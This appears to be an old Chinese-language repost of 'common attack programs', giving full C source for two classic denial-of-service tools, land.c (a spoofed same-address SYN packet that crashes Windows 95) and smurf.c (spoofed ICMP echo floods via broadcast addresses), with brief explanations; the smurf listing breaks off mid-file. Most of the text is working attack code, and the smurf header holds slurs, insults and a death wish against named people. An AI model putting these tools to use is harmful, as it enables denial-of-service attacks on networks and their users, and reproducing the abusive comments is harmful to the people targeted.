c源码：常用攻击程序.txt

学习(编程技巧_编程知识_程序代码),是学习编程不可多得的学习精验

C源码:常用攻击程序
 

--------------------------------------------------------------------------------
 
第八军团 时间：2004-1-23 15:56:07 
   
Abstract 
这里有一些是老的，现在看来并没有用，但他们都很有名。 

1 Land 

攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自 
己的同一个端口发起连接（发SYN），Win95即会崩溃。 


/* land.c by m3lt, FLC 
   crashes a win95 box */ 

#include <stdio.h> 
#include <netdb.h> 
#include <arpa/inet.h> 
#include <netinet/in.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include < netinet/ip.h > 
#include < netinet/tcp.h > 

//用于TCP校验和的伪头 
struct pseudohdr 
{ 
        struct in_addr saddr; 
        struct in_addr daddr; 
        u_char zero; 
        u_char protocol; 
        u_short length; 
        struct tcphdr tcpheader; 
}; 

//计算IP校验和 
u_short checksum(u_short * data,u_short length) 
{ 
        register long value; 
        u_short i; 

        for(i=0;i<(length>>1);i++) 
                value+=data[i]; 

        if((length&1)==1) 
                value+=(data[i]<<8); 

        value=(value&65535)+(value>>16); 

        return(~value); 
} 


int main(int argc,char * * argv) 
{ 
        struct sockaddr_in sin; 
        struct hostent * hoste; 
        int sock; 
        char buffer[40]; 
        struct iphdr * ipheader=(struct iphdr *) buffer; 
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); 
        struct pseudohdr pseudoheader; 

        fprintf(stderr,"land.c by m3lt, FLC\n"); 

        if(argc<3) 
        { 
                fprintf(stderr,"usage: %s IP port\n",argv[0]); 
                return(-1); 
        } 

        bzero(&sin,sizeof(struct sockaddr_in)); 
        sin.sin_family=AF_INET; 

        if((hoste=gethostbyname(argv[1]))!=NULL) 
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); 
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) 
        { 
                fprintf(stderr,"unknown host %s\n",argv[1]); 
                return(-1); 
        } 

        if((sin.sin_port=htons(atoi(argv[2])))==0) 
        { 
                fprintf(stderr,"unknown port %s\n",argv[2]); 
                return(-1); 
        } 

//new一个SOCK—RAW以发伪造IP包 这需要root权限 
        if((sock=socket(AF_INET,SOCK_RAW,255))==-1) 
        { 
                fprintf(stderr,"couldn't allocate raw socket\n"); 
                return(-1); 
        } 

        bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); 
        ipheader->version=4; 
        ipheader->ihl=sizeof(struct iphdr)/4; 
        ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); 
        ipheader->id=htons(0xF1C); 
        ipheader->ttl=255; 
        ipheader->protocol=IP_TCP; 

//目的IP地址和源IP地址相同 
        ipheader->saddr=sin.sin_addr.s_addr; 
        ipheader->daddr=sin.sin_addr.s_addr; 

//目的TCP端口和源TCPIP端口相同 
        tcpheader->th_sport=sin.sin_port; 
        tcpheader->th_dport=sin.sin_port; 
        tcpheader->th_seq=htonl(0xF1C); 
        tcpheader->th_flags=TH_SYN; 
        tcpheader->th_off=sizeof(struct tcphdr)/4; 
        tcpheader->th_win=htons(2048); 

        bzero(&pseudoheader,12+sizeof(struct tcphdr)); 
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; 
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; 
        pseudoheader.protocol=6; 
        pseudoheader.length=htons(sizeof(struct tcphdr)); 
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); 
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); 

        if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr), 
  0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) 
        { 
                fprintf(stderr,"couldn't send packet\n"); 
                return(-1); 
        } 

        fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); 

        close(sock); 
        return(0); 
} 


2 Smurf 
     smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数 
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包 
的源地址）崩溃。 

    受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些 
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢 
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。 

    可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。 

    但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变 
成不可能（没有WINS服务器时）。 

/* 
 * 
 *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $ 
 * 
 *  spoofs icmp packets from a host to various broadcast addresses resulting 
 *  in multiple replies to that host from a single packet. 
 * 
 *  mad head to: 
 *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig, 
 *     MissSatan for swallowing, napster for pimping my sister, the guy that 
 *     invented vaseline, fyber for trying, knowy, old school #havok, kain 
 *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might 
 *     have missed (you know who you are). 
 * 
 *     hi to pbug, majikal, white_dragon and [e-mail] for being the sexy 
 *     thing he is (he's -almost- as stubborn as me, still i managed to pick up 
 *     half the cheque). 
 * 
 *     and a special hi to Todd, face it dude, you're fucking awesome. 
 * 
 *  mad anal to: 
 *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps 
 *     because they plain suck, Rolex for being a twit, everyone that 
 *     trades warez, Caren for being a lesbian hoe, AcidKill for being her 
 *     partner, #cha0s, sedriss for having an ego in inverse proportion to 
 *     his penis and anyone that can't pee standing up -- you don't know what 
 *     your missing out on. 
 * 
 *     and anyone thats ripped my code (diff smurf.c axcast.c is rather 
 *     interesting). 
 * 
 *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill 
 *     Robbins for trying to steal my girlfriend.  Not only did you show me 
 *     no respect but you're a manipulating prick who tried to take away the 
 *     most important thing in the world to me with no guilt whatsoever, and 
 *     for that I wish you nothing but pain.  Die. 
 * 
 *  disclaimer: 
 *     I cannot and will not be held responsible nor legally bound for the 
 *     malicious activities of individuals who come into possession of this 
 *     program and I refuse to provide help or support of any kind and do NOT 
 *     condone use of this program to deny service to anyone or any machine. 
 *     This is for educational use only. Please Don't abuse this. 
 * 
 *  Well, i really, really, hate this code, but yet here I am creating another 
 *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I, 
 *  like most programmers don't like seeing bugs in their code.  I saw a few 
 *  things that should have been done better or needed fixing so I fixed 
 *  them.  -shrug-, programming for me as always seemed to take the pain away 
 *  ... 
 * 
 * 
 */ 

#include <signal.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/ip_icmp.h> 
#include <netdb.h> 
#include <ctype.h> 
#include <arpa/inet.h> 
#include <unistd.h> 
#include <string.h> 

void banner(void); 
void usage(char *); 
void smurf(int, struct sockaddr_in, u_long, int); 
void ctrlc(int); 
unsigned short in_chksum(u_short *, int); 

/* stamp */ 
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $"; 

int main (int argc, char *argv[]) 
{ 
   struct sockaddr_in sin; 
   struct hostent *he; 
   FILE   *bcastfile; 
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x; 
   char   buf[32], **bcastaddr = malloc(8192); 

   banner(); 
   signal(SIGINT, ctrlc); 

   if (argc < 6) usage(argv[0]); 

   if ((he = gethostbyname(argv[1])) == NULL) { 
      perror("resolving source host"); 
      exit(-1); 
   } 
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); 
   sin.sin_family = AF_INET; 
   sin.sin_port = htons(0); 

   num = atoi(argv[3]); 
   delay = atoi(argv[4]); 
   pktsize = atoi(argv[5]); 

   if ((bcastfile = fopen(argv[2], "r")) == NULL) { 
      perror("opening bcast file"); 
      exit(-1); 
   } 
   x = 0; 
   while (!feof(bcastfile)) { 
      fgets(buf, 32, bcastfile); 
      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue; 
      for (i = 0; i < strlen(buf); i++) 
          if (buf[i] == '\n') buf[i] = '\0'; 
      bcastaddr[x] = malloc(32); 
      strcpy(bcastaddr[x], buf); 
      x++; 
   } 
   bcastaddr[x] = 0x0; 
   fclose(bcastfile); 

   if (x == 0) { 
      fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); 
      exit(-1); 
   } 
   if (pktsize > 1024) { 
      fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); 
      exit(-1); 
   } 

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
      perror("getting socket"); 
      exit(-1); 
   } 
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); 

   printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); 

   for (i = 0; i < num || !num; i++) { 
      if (!(i % 25)) { printf("."); fflush(stdout); } 
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); 
      cycle++; 
      if (bcastaddr[cycle] == 0x0) cycle = 0; 
      usleep(delay); 
   } 
   puts("\n\n"); 
   return 0; 
} 

void banner (void) 
{ 
   puts("\nsmurf.c v4.0 by TFreak\n"); 
} 

void usage (char *prog) 
{ 
   fprintf(stderr, "usage: %s <target> <bcast file> " 
                   "<num packets> <packet delay> <packet size>\n\n" 
                   "target        = address to hit\n" 
                   "bcast file    = file to read broadcast addresses from\n" 
                   "num packets   = number of packets to send (0 = flood)\n" 
                   "packet delay  = wait between each packet (in ms)\n" 
                   "packet size   = size of packet (< 1024)\n\n", prog); 
   exit(-1); 
} 

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) 
{ 
   struct iphdr *ip; 
   struct icmphdr *icmp; 
   char *packet; 

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); 
   ip = (struct iphdr *)packet; 
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); 

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); 

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); 
   ip->ihl = 5; 
   ip->version = 4; 
   ip->ttl = 255; 
   ip->tos = 0; 
   ip->frag_off = 0; 
   ip->protocol = IPPROTO_ICMP; 
   ip->saddr = sin.sin_addr.s_addr; 
   ip->daddr = dest; 
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); 
   icmp->type = 8; 
   icmp->code = 0; 
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); 

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); 

   free(packet);           /* free willy! */ 
} 

void ctrlc (int ignored) 
{ 
   puts("\nDone!\n"); 
   exit(1); 
} 

unsigned short in_chksum (u_short *addr, int len)